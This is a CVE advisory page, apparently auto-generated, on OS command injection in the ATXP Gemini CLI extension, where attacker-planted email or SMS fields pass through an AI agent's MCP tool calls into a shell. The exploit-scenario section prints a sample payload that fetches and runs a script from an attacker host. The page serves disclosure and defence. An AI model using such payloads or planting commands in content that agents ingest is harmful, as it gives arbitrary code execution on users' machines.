Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft email/SMS with $() payload
-
DeliveryVictim agent ingests message content
-
ExploitUnsanitized param reaches runAtxp()
-
ExecutionShell executes injected commands
-
ImpactArbitrary code execution as user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The victim must have the ATXP Gemini CLI extension (through 1.0.0) installed and must process attacker-controlled content - an email or SMS whose fields message_id, subject, or query contain shell substitutions ($() or backticks). Those parameters pass unsanitized from the MCP tool call into runAtxp(), which invokes a shell, so the injected command runs with the user's own privileges. Limiting factors: exploitation depends on the victim actively running the extension and routing the malicious message through its MCP tools; the attacker needs no account on the target but cannot trigger execution without the victim's agent ingesting the content, and code runs only at the user's privilege level with no built-in escalation. No fixed version is stated in the available data. |
| Impact | The input supplies a CVSS 4.0 vector scoring 8.5 (High): AV:L/AC:L/AT:N/PR:L/UI:N with full VC:H/VI:H/VA:H, i.e. arbitrary OS command execution as the running user. VulnCheck assigns a 'this_week' priority (elevated but below act_now/emergency). No CISA KEV entry and no EPSS score are provided, so there is no signal of active or probable widespread exploitation; exploitation status is 'no public exploit identified at time of analysis', though a VulnCheck advisory, a source-code reference (server.ts L28-L40) and GitHub issue #15 exist. Signals partly conflict: the official vector uses AV:L (local context) and PR:L (authenticated local operator), yet the description's mechanism is indirect - an external attacker plants $()/backtick substitutions in email or SMS content that the victim's agent later ingests, which reads more like remotely-delivered, attacker-unprivileged content processed locally. CVSS indicates a local, low-privilege vector but the description implies attacker-supplied remote content executed through the victim's agent - verify the intended threat model with the vendor. Net: technically severe (reliable code execution as the user) but tempered by a very small deployment footprint and no evidence of exploitation in the wild. |
| Exploit ScenarioDerived | An attacker sends the victim an email or SMS whose subject, message_id or query field embeds a shell substitution such as $(curl attacker.sh|sh) or a backtick command. When the victim runs the ATXP Gemini CLI extension (≤1.0.0) to read or search those messages via its MCP tools, the unsanitized parameter flows into runAtxp() and the shell executes the attacker's command with the user's privileges. No confirmed working exploit code is provided - only a VulnCheck advisory and a GitHub issue reference - and exploitation requires the victim to process the attacker-controlled content. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Oct 28, 2026
OS command injection in the ATXP Gemini CLI extension through 1.0.0 lets an attacker who controls email or SMS fields such as message_id, subject, or query execute shell commands through MCP tool calls, running at the victim user's privilege level. The victim must be running the extension and route the crafted message through its tools; the supplied CVSS 4.0 score is 8.5 (High), and no public exploit is identified at time of analysis, with no KEV status provided in the supplied data. No fixed version is stated in the available intelligence.
RemediationAI
No vendor-released patch or fixed version is identified in the supplied data; the VulnCheck advisory is https://www.vulncheck.com/advisories/atxp-gemini-cli-extension-through-1.0.0-os-command-injection-via-mcp-tools and the affected code path is documented in https://github.com/atxp-dev/atxp/blob/4e88b0282b51ae7c22ea1b6ca4476a39298299ff/src/server.ts#L28-L40. Until a fix is published, disable or remove the ATXP Gemini CLI extension from the Gemini CLI configuration, which removes the affected functionality. If the extension must remain enabled, do not route untrusted email or SMS content into its MCP tools; constrain message ingestion to trusted senders or a quarantined mailbox, accepting reduced automation. Run Gemini CLI and the extension under a dedicated low-privilege OS account with limited filesystem and credential access to reduce the impact of injected commands, though this does not prevent injection. As an additional compensating control, reject or escape shell metacharacter sequences such as $() and backticks in the message_id, subject, and query parameters before they reach runAtxp(), understanding that filtering may break legitimate content.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The ATXP Gemini CLI extension integrates MCP tools into Gemini CLI, and runAtxp() in src/server.ts (referenced lines 28-40) invokes a shell with parameters supplied by those tool calls. CWE-78 applies because message_id, subject, and query are not sanitized before shell evaluation, allowing $() and backtick substitution when the agent ingests attacker-planted email or SMS content. The CPE cpe:2.3:a:atxp:gemini-cli-extension:*:*:*:*:*:*:*:* and EUVD range through 1.0.0 identify the affected package. The supplied CVSS 4.0 vector is AV:L/AC:L/AT:N/PR:L/UI:N with VC:H/VI:H/VA:H, while the independent assessment uses CVSS 3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; both describe command execution at the user's privilege level with no built-in escalation described in the sources.
Know when Gemini Cli Extension gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Attacker needs no account (PR:N) but the victim must run the agent over attacker content (UI:R), which is processed by a local CLI (AV:L); injection yields full code execution as the user (C/I/A:H, S:U).
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
ATXP Gemini CLI extension through 1.0.0 contains an OS command injection vulnerability in runAtxp() that allows attackers to execute shell commands through unsanitized MCP tool parameters. Attackers can plant instructions in email or SMS content to inject $() or backtick substitutions into parameters like message_id, subject, or query, running commands as the user.
Executive ViewAI
The ATXP Gemini CLI extension (versions through 1.0.0) contains a high-severity OS command injection flaw that enables an attacker who controls email or SMS fields to execute arbitrary shell commands at the victim user's privilege level. This puts developers and other personnel using the extension at risk of system compromise, potentially leading to unauthorized access to sensitive data, lateral movement, and broader organizational impact. Leadership should prioritize remediation because the tool is used in day-to-day operations and exploitation could go undetected; no public exploit is identified at time of analysis.
No vendor-released patch identified at time of analysis. Interim mitigations: uninstall or disable the ATXP Gemini CLI extension on all systems; restrict the extension's ability to make outbound network connections and execute shell commands via application control or endpoint detection and response (EDR) policies; enforce strict input validation and sanitization for email/SMS fields if the extension must remain in use; monitor logs for suspicious command execution and MCP tool calls.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-110838
GHSA-w542-83fj-2ghf
NVD
CVE.org
EPSS
Exploit-DB